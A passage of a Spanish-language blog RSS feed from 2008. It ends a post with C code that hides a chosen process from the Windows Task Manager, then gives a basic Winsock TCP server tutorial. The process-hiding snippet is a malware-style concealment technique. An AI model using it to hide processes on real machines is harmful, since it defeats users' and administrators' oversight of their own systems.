&nbsp; &nbsp;<a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span><span class="st0">&quot;%s&quot;</span>,<span class="st0">&quot;<span class="es0">\n</span><span class="es0">\n</span> &nbsp; &nbsp; &nbsp;Ocultar Procesos al Task Manager <span class="es0">\n</span>&quot;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp;<a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span><span class="st0">&quot;%s&quot;</span>,<span class="st0">&quot;<span class="es0">\n</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&lt;&lt; By Octalh &gt;&gt;<span class="es0">\n</span><span class="es0">\n</span>&quot;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp;<a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span><span class="st0">&quot;%s&quot;</span>,<span class="st0">&quot; &nbsp; &nbsp; [ www.aztekmindz.org | octalh@gmail.com ]<span class="es0">\n</span> <span class="es0">\n</span>&quot;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp;<a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span><span class="st0">&quot; &nbsp; &nbsp; Escribe el proceso que deseas ocultar: &quot;</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp;gets<span class="br0">&#40;</span>ExeProc<span class="br0">&#41;</span>;<br />
&nbsp; &nbsp;<a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span><span class="st0">&quot;<span class="es0">\n</span><span class="es0">\n</span> &nbsp; &nbsp; Ocultando Proceso: [ %s ]&quot;</span>,ExeProc<span class="br0">&#41;</span>;</p>
<p>&nbsp; &nbsp;<span class="kw1">for</span><span class="br0">&#40;</span>;;<span class="br0">&#41;</span><br />
&nbsp; &nbsp;<span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; EnumChildWindows<span class="br0">&#40;</span>FindWindow<span class="br0">&#40;</span><span class="nu0">0</span>,<span class="st0">&quot;Administrador de tareas de Windows&quot;</span><span class="br0">&#41;</span>,PrOcultar,<span class="nu0">0</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp;<span class="br0">&#125;</span></p>
<p>&nbsp; &nbsp;<span class="kw1">return</span> <span class="nu0">0</span>;<br />
<span class="br0">&#125;</span></div>
<p><a href="http://www.aztekmindz.org/wp-content/uploads/2008/06/ocultarproc.zip"><span style="color: #ff0000;">Descargar Programa Compilado</span></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.aztekmindz.org/2008/06/29/ocultar-proceso-en-el-administrador-de-tareas-task-manager-en-c/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Tutorial Programacion de Sockets en C Parte II</title>
		<link>http://www.aztekmindz.org/2008/06/29/tutorial-programacion-de-sockets-en-c-parte-ii/</link>
		<comments>http://www.aztekmindz.org/2008/06/29/tutorial-programacion-de-sockets-en-c-parte-ii/#comments</comments>
		<pubDate>Sun, 29 Jun 2008 07:54:29 +0000</pubDate>
		<dc:creator>octalh</dc:creator>
		
		<category><![CDATA[C \\ C++]]></category>

		<category><![CDATA[Papers]]></category>

		<guid isPermaLink="false">http://www.aztekmindz.org/?p=40</guid>
		<description><![CDATA[Tutorial Programacion de Sockets en C
por Octalh
www.aztekmindz.org

Hola a todos nuevamente, después de unos días me alegra informarles que ya esta lista la segunda entrega de este pequeño tutorial para incursionar en la programación con sockets.
En la entrega anterior aprendimos los principales tipos de sockets y como programar nuestro primer cliente, es decir el programa que [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><strong>Tutorial Programacion de Sockets en C<br />
por Octalh<br />
www.aztekmindz.org</strong></p>
<p style="text-align: center;">
<p>Hola a todos nuevamente, después de unos días me alegra informarles que ya esta lista la segunda entrega de este pequeño tutorial para incursionar en la programación con sockets.</p>
<p>En la entrega anterior aprendimos los principales tipos de sockets y como programar nuestro primer cliente, es decir el programa que conecta al servidor.</p>
<p>En esta ocasión vamos a aprender a programar el servidor, que es el programa que atenderá al cliente.</p>
<p>Pero antes de empezar a tocar la programación es bueno comenzar explicando brevemente  que es el  protocolo TCP y como trabaja de la mano del protocolo IP</p>
<p><strong>TCP</strong> (<strong>Transmission Control Protocol</strong>, en español <strong>Protocolo de Control de Transmisión</strong>) es uno de los protocolos fundamentales en Internet. Fue creado entre los años 1973 - 1974 por Vint Cerf y Robert Kahn. Muchos programas dentro de una red de datos compuesta por ordenadores pueden usar TCP para crear conexiones entre ellos a través de las cuales puede enviarse un flujo de datos. El protocolo garantiza que los datos serán entregados en su destino sin errores y en el mismo orden en que se transmitieron. También proporciona un mecanismo para distinguir distintas aplicaciones dentro de una misma máquina, a través del concepto de puerto. TCP da soporte a muchas de las aplicaciones más populares de Internet, incluidas <strong>HTTP, SMTP, SSH y FTP.</strong></p>
<p>Una <strong>dirección</strong> <strong>IP</strong> es un número que identifica de manera lógica y jerárquicamente a una interfaz de un dispositivo (habitualmente una computadora) dentro de una red que utilice el <strong>protocolo de Internet</strong> (Internet Protocol), que corresponde al nivel de red o nivel 3 del modelo de referencia OSI. Dicho número no se ha de confundir con la dirección MAC que es un número físico que es asignado a la tarjeta o dispositivo de red (viene impuesta por el fabricante), mientras que la dirección IP se puede cambiar.<br />
Ahora que sabemos lo necesario sobre TCP \ IP entendemos que TCP es el protocolo que transportara nuestros datos a través del socket, mientras que IP sirve para saber de donde y a donde enviar dichos datos a través de la red.<br />
Ambos protocolos trabajan en conjunto para poder establecer una conexión entre <strong>Cliente y Servidor</strong>.</p>
<p>Esto lo podemos entender mejor apreciando el siguiente diagrama.</p>
<div class="captionfull"><img src="http://www.aztekmindz.org/wp-content/uploads/2008/06/diagrama.gif" alt="" /></div>
<p>Si ya se que esto no se acerca ni tantito a un diagrama de TCP / IP <strong>three-way handshake</strong> pero para darnos idea de cómo funciona la interacción (conmutación de datos) entre ambos equipos esta bien.</p>
<p>Puesto que ya tenemos algo de teoría y un entendimiento un poco mas amplio de cómo funciona una conexión en TCP ahora procederemos a Programar Nuestro servidor.</p>
<p>Dado que es muy similar la programación del servidor a la forma en la que programamos el cliente, a excepción de de la forma en la que se declara la estructura del socket y el hecho de que ahora nos pondremos en escucha por un puerto determinado envés de conectar a una IP, solo listare esa sección del código para ahorrar espacio.</p>
<p><span style="color: #ff0000;">char Buffer[1023];</span><br />
Declaramos el tamaño del Buffer</p>
<p><span style="color: #ff0000;">conexloc.sin_family = AF_INET;</span><br />
Definimos la version 4 de IP</p>
<p><span style="color: #ff0000;">conexloc.sin_addr.s_addr = INADDR_ANY;</span><br />
Definimos IP local</p>
<p><span style="color: #ff0000;">conexloc.sin_port = htons(9999);</span><br />
Definimos puerto (9999) por el que escuchara el socket utilizando un “short de máquina a short de la red” (htons). Esto lo hacemos para ordenar la forma en la que enviaremos y recibiremos los datos por el puerto del socket, mas información buscar en google “Big-Endian”.</p>
<p><span style="color: #ff0000;">bind(locsock, (sockaddr*)&amp;conexloc, sizeof(conexloc);</span><br />
Una ves creado el socket asociamos el descriptor de fichero &#8220;locsock&#8221; a un puerto, para eso utilizamos la función &#8220;bind&#8221;, después asignamos la dirección IP pasándola como puntero a &#8220;sockaddr&#8221;.</p>
<p><span style="color: #ff0000;">listen(locsock, 5);</span><br />
La función listen sirve para poner el socket en escucha por un puerto determinado, en nuestro caso el puerto “9999”que fue definido al socket en la función &#8220;bind&#8221;, utilizando el descriptor de fichero &#8220;locsock&#8221; que &#8220;socket()&#8221; nos dio. El último número es la cantidad de conexiones que podemos tener como máximo en la cola de espera.</p>
<p><span style="color: #ff0000;">conm=sizeof(struct sockaddr);</span><br />
Definimos longitud de &#8220;sockaddr&#8221;</p>
<p><span style="color: #ff0000;">locsock=accept(locsock,(sockaddr*)&amp;conexloc,&amp;conm); </span><br />
Aceptamos la conexión con la función &#8220;accept&#8221; utilizando el descriptor de fichero &#8220;locsock&#8221; para transmitir los datos entre ambas computadoras mediante nuestra estructura &#8220;SOCKADDR_IN&#8221; definida anteriormente en &#8220;conexloc&#8221;.</p>
<p><span style="color: #ff0000;">conm=recv(locsock,Buffer,sizeof(Buffer),0);</span><br />
La función &#8220;recv&#8221; se encarga de recibir los datos a través del descriptor de fichero &#8220;locsock&#8221;, mientras que “Buffer” es donde se va almacenar la información recibida y posteriormente con &#8220;sizeof&#8221; medimos la longitud total del buffer recibido.</p>
<p>Dado que &#8220;recv&#8221; devuelve un valor de cero en caso de existir un error se utiliza un bucle while para verificar que seguimos conectados con el equipo remoto.</p>
<p class="MsoNormal">Código fuente completo del servidor:</p>
<p class="MsoNormal">
<div class="dean_ch" style="white-space: wrap;"><span class="co2">#include &lt;cstdlib&gt;</span><br />
<span class="co2">#include &lt;stdio.h&gt;</span><br />
<span class="co2">#include &lt;winsock2.h&gt; // Referencia a la librería</span></p>
<p>using namespace std;</p>
<p>WSADATA wsadata; <span class="co1">//Declaramos WSADATA</span></p>
<p><span class="kw4">struct</span> hostent *host;<br />
<span class="co1">//Declaramos estructura hostent donde almacenaremos la IP que nos devuelva gethostbyname</span></p>
<p>SOCKADDR_IN conexloc;<br />
<span class="coMULTI">/*Declaramos una estructura SOCKADDR_IN para no tener que definir una IP y un puerto<br />
en cada paquete que enviemos. De esa forma todo viajara encapsulado utilizando la estructura<br />
SOCKADDR_IN.<br />
*/</span></p>
<p>SOCKET locsock; <span class="co1">// Declaramos el descriptor de fichero que nos de el socket</span></p>
<p><span class="kw4">char</span> Buffer<span class="br0">&#91;</span><span class="nu0">1023</span><span class="br0">&#93;</span>; <span class="co1">// Declaramos el tamaño del Buffer</span></p>
<p><span class="kw4">int</span> WSAInicio<span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span> <span class="co1">//declaramos procedimiento</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="kw4">int</span> wasa = WSAStartup<span class="br0">&#40;</span>MAKEWORD<span class="br0">&#40;</span><span class="nu0">2</span>,<span class="nu0">0</span><span class="br0">&#41;</span>,&amp;amp;wsadata<span class="br0">&#41;</span>; <span class="co1">//Indicamos versión 2.0 del socket</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="kw1">if</span> <span class="br0">&#40;</span>wasa != <span class="nu0">0</span><span class="br0">&#41;</span> <span class="br0">&#123;</span> <span class="co1">// Si existen errores&#8230;</span><br />
&nbsp; &nbsp; &nbsp;<a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span><span class="st0">&quot;%s&quot;</span>,<span class="st0">&quot;Error iniciando WSAStartup <span class="es0">\n</span>&quot;</span><span class="br0">&#41;</span>; <span class="co1">//Mostramos un mensaje</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; WSACleanup<span class="br0">&#40;</span><span class="br0">&#41;</span>; <span class="co1">//Limpiamos WSADATA</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> <span class="nu0">1</span>; <span class="co1">// Retornamos 1 dado que la funcion fallo</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="kw1">return</span> <span class="nu0">0</span>; <span class="co1">// Si se inicio todo bien retornamos 0</span><br />
<span class="br0">&#125;</span></p>
<p><span class="kw4">int</span> definirsocket<span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;locsock = socket<span class="br0">&#40;</span>AF_INET<span class="coMULTI">/* IP V4 */</span>, SOCK_STREAM, <span class="nu0">0</span><span class="br0">&#41;</span>; <span class="co1">// Indicamos que usaremos un socket Stream(TCP)</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="kw1">if</span> <span class="br0">&#40;</span>locsock == INVALID_SOCKET<span class="br0">&#41;</span> <span class="br0">&#123;</span> <span class="co1">// Si existen errores&#8230;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span><span class="st0">&quot;%s&quot;</span>,<span class="st0">&quot;Error definiendo socket <span class="es0">\n</span>&quot;</span><span class="br0">&#41;</span>; <span class="co1">//Mostramos un mensaje</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; WSACleanup<span class="br0">&#40;</span><span class="br0">&#41;</span>; <span class="co1">//Limpiamos WSADATA</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> <span class="nu0">1</span>; <span class="co1">// Retornamos 1 dado que la funcion fallo</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="kw1">return</span> <span class="nu0">0</span>; <span class="co1">// Si se inicio todo bien retornamos 0</span><br />
<span class="br0">&#125;</span></p>
<p><span class="kw4">int</span> estructsocket<span class="br0">&#40;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span> <span class="co1">// Definimos procedimiento</span><br />
&nbsp; &nbsp; &nbsp;conexloc.<span class="me1">sin_family</span> = AF_INET; <span class="co1">// Ordenación de Maquina</span><br />
&nbsp; &nbsp; &nbsp; <span class="coMULTI">/*<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Definimos la version 4 de IP<br />
&nbsp; &nbsp; &nbsp; */</span><br />
&nbsp; &nbsp; &nbsp;conexloc.<span class="me1">sin_addr</span>.<span class="me1">s_addr</span> = INADDR_ANY;<br />
&nbsp; &nbsp; &nbsp;<span class="coMULTI">/*<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Definimos IP local<br />
&nbsp; &nbsp; &nbsp;*/</span><br />
&nbsp; &nbsp; &nbsp;conexloc.<span class="me1">sin_port</span> = htons<span class="br0">&#40;</span><span class="nu0">9999</span><span class="br0">&#41;</span>;<br />
&nbsp; &nbsp; &nbsp;<span class="coMULTI">/* Definimos puerto (9999) por el que escuchara el socket utilizando un “short de máquina a short de la red” (htons)<br />
&nbsp; &nbsp; &nbsp; &nbsp; Esto lo hacemos para ordenar la forma en la que enviaremos y recibiremos los datos por el puerto del socket, mas información buscar en google “Big-Endian”.<br />
&nbsp; &nbsp; &nbsp;*/</span></p>
<p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="kw1">if</span> <span class="br0">&#40;</span>bind<span class="br0">&#40;</span>locsock, <span class="br0">&#40;</span>sockaddr*<span class="br0">&#41;</span>&amp;amp;conexloc, <span class="kw4">sizeof</span><span class="br0">&#40;</span>conexloc<span class="br0">&#41;</span><span class="br0">&#41;</span> == SOCKET_ERROR<span class="br0">&#41;</span> <span class="br0">&#123;</span> <span class="co1">// Si existen errores&#8230;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="coMULTI">/* Una ves creado el socket asociamos el descriptor de ficher &quot;locsock&quot; a un puerto, para eso utilizamos la función &quot;bind&quot;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Después asignamos la dirección IP pasándola como puntero a &quot;sockaddr&quot;.<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;*/</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span><span class="st0">&quot;%s&quot;</span>,<span class="st0">&quot;Error definiendo socket <span class="es0">\n</span>&quot;</span><span class="br0">&#41;</span>; <span class="co1">//Mostramos un mensaje</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; WSACleanup<span class="br0">&#40;</span><span class="br0">&#41;</span>; <span class="co1">//Limpiamos WSADATA</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> <span class="nu0">1</span>; <span class="co1">// Retornamos 1 dado que la funcion fallo</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#125;</span> &nbsp;<span class="kw1">else</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="kw1">if</span> <span class="br0">&#40;</span>listen<span class="br0">&#40;</span>locsock, <span class="nu0">5</span><span class="br0">&#41;</span> == SOCKET_ERROR<span class="br0">&#41;</span> <span class="br0">&#123;</span> <span class="co1">// Si existen errores&#8230;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="coMULTI">/* La función listen sirve para poner el socket en escucha por un puerto determinado, en nuestro caso el puerto 9999<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; que fue definido al socket en la función &quot;bind&quot;, utilizando el descriptor de fichero &quot;locsock&quot; que &quot;socket()&quot; nos dio<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; El ultimo numero es la cantidad de conexiones que podemos tener como máximo en la cola de espera.<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;*/</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span><span class="st0">&quot;%s&quot;</span>,<span class="st0">&quot;Error Al ponerse en escucha <span class="es0">\n</span>&quot;</span><span class="br0">&#41;</span>; <span class="co1">//Mostramos un mensaje</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;WSACleanup<span class="br0">&#40;</span><span class="br0">&#41;</span>; <span class="co1">//Limpiamos WSADATA</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="kw1">return</span> <span class="nu0">1</span>; <span class="co1">// Retornamos 1 dado que la función fallo</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#125;</span> <span class="kw1">else</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span><span class="st0">&quot;%s&quot;</span>,<span class="st0">&quot;Esperando conexiones por puerto 9999 <span class="es0">\n</span>&quot;</span><span class="br0">&#41;</span>; <span class="co1">//Mostramos un mensaje</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="kw1">return</span> <span class="nu0">0</span>; <span class="co1">// Si se inicio todo bien retornamos 0</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span></p>
<p>&nbsp; &nbsp; &nbsp;<span class="br0">&#125;</span><br />
<span class="br0">&#125;</span></p>
<p><span class="kw4">void</span> conexion<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#123;</span></p>
<p>&nbsp; &nbsp; &nbsp;<span class="kw4">int</span> conm; <span class="co1">//Declaramos variable para definir longitud de la estructura &quot;sockaddr&quot;</span><br />
&nbsp; &nbsp; &nbsp;conm=<span class="kw4">sizeof</span><span class="br0">&#40;</span><span class="kw4">struct</span> sockaddr<span class="br0">&#41;</span>; <span class="co1">// definimos longitud de &quot;sockaddr&quot;</span><br />
&nbsp; &nbsp; &nbsp;locsock=accept<span class="br0">&#40;</span>locsock,<span class="br0">&#40;</span>sockaddr*<span class="br0">&#41;</span>&amp;amp;conexloc,&amp;amp;conm<span class="br0">&#41;</span>; <span class="co1">// Conexion establecida</span><br />
&nbsp; &nbsp; &nbsp;<span class="coMULTI">/* Aceptamos la conexión con la funcion &quot;accept&quot; utilizando el descriptor de fichero &quot;locsock&quot; para transmitir los datos entre ambas computadoras<br />
&nbsp; &nbsp; &nbsp; &nbsp; mediante nuestra estructura &quot;SOCKADDR_IN&quot; definida anteriormente en &quot;conexloc&quot;<br />
&nbsp; &nbsp; &nbsp;*/</span><br />
&nbsp; &nbsp; &nbsp;<a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span><span class="st0">&quot;%s&quot;</span>,<span class="st0">&quot;Conexion establecida <span class="es0">\n</span>&quot;</span><span class="br0">&#41;</span>; <span class="co1">//Mostramos un mensaje</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="kw1">while</span> <span class="br0">&#40;</span>conm!=<span class="nu0">0</span><span class="br0">&#41;</span><span class="br0">&#123;</span> <span class="co1">//mientras estemos conectados..</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; conm=recv<span class="br0">&#40;</span>locsock,Buffer,<span class="kw4">sizeof</span><span class="br0">&#40;</span>Buffer<span class="br0">&#41;</span>,<span class="nu0">0</span><span class="br0">&#41;</span>; <span class="co1">//recibimos los datos que envíe</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="coMULTI">/* La función &quot;recv&quot; se encarga de recibir los datos a través del descriptor de fichero &quot;locsock&quot;<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Buffer es donde se va almacenar la información recibida y posteriormente con &quot;sizeof&quot; medimos la longitud total del buffer recibido<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Dado que &quot;recv&quot; devuelve un valor de cero en caso de existir un error se utiliza un bucle while para verificar<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;que seguimos conectados con el equipo remoto<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; */</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span>conm&gt;<span class="nu0">0</span><span class="br0">&#41;</span><span class="br0">&#123;</span> &nbsp;<span class="co1">//si seguimos conectados al cliente</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.opengroup.org/onlinepubs/009695399/functions/printf.html"><span class="kw3">printf</span></a><span class="br0">&#40;</span><span class="st0">&quot;Datos recibidos:%s&quot;</span>,Buffer<span class="br0">&#41;</span>; <span class="co1">//imprimimos los datos recibidos</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#125;</span></p>
<p>&nbsp; &nbsp; &nbsp;<span class="br0">&#125;</span></p>
<p><span class="kw4">void</span> sockets<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#123;</span> <span class="co1">// Procedimiento que iniciara el socket secuencialmente.</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><span class="br0">&#40;</span>WSAInicio<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#41;</span> == <span class="nu0">0</span><span class="br0">&#41;</span> <span class="br0">&#123;</span> <span class="co1">// Si se inicio WSAInicio sin errores&#8230;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="kw1">if</span><span class="br0">&#40;</span><span class="br0">&#40;</span>definirsocket<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#41;</span> == <span class="nu0">0</span><span class="br0">&#41;</span> <span class="br0">&#123;</span> <span class="co1">// Si se inicio definirsocket sin errores&#8230;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><span class="br0">&#40;</span>estructsocket<span class="br0">&#40;</span><span class="br0">&#41;</span><span class="br0">&#41;</span> == <span class="nu0">0</span><span class="br0">&#41;</span> <span class="br0">&#123;</span> <span class="co1">// Si se inicio estructsocket sin errores&#8230;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;conexion<span class="br0">&#40;</span><span class="br0">&#41;</span>; <span class="co1">// Iniciamos el procedimiento &quot;conexion&quot;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp;<span class="br0">&#125;</span></p>
<p><span class="kw4">int</span> main<span class="br0">&#40;</span><span class="kw4">int</span> argc, <span class="kw4">char</span> *argv<span class="br0">&#91;</span><span class="br0">&#93;</span><span class="br0">&#41;</span><br />
<span class="br0">&#123;</span><br />
&nbsp; &nbsp; sockets<span class="br0">&#40;</span><span class="br0">&#41;</span>; <span class="co1">// Iniciamos el Socket</span><br />
<span class="br0">&#125;</span></div>
<p>Bien ahora que ya tienes El cliente y el Servidor, llego el momento de ejecutar el Servidor seguido del cliente y voila!!!</p>
<div class="captionfull"><img src="http://www.aztekmindz.org/wp-content/uploads/2008/06/fin.gif" alt="" /></div>
<p>Felicidades ya tienes tu primer aplicación con sockets programada en C.<br />
Hasta aquí termina este tutorial, espero que te haya gustado y te sea de utilidad, cualquier sugerencia puedes contactarme vía E-Mail: octalh@gmail.com</p>
<p>Solo me queda decirte que ahora te toca perfeccionar el cliente para que interactué de igual forma que lo hace el servidor <img src='http://www.aztekmindz.org/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>Tutorial elaborado para: www.aztekmindz.org</p>
<p><a href="http://www.aztekmindz.org/wp-content/uploads/2008/06/sockets_ii.zip"><span style="color: #ff0000;">Descargar Projecto Fuentes y Compilado</span></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.aztekmindz.org/2008/06/29/tutorial-programacion-de-sockets-en-c-parte-ii/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
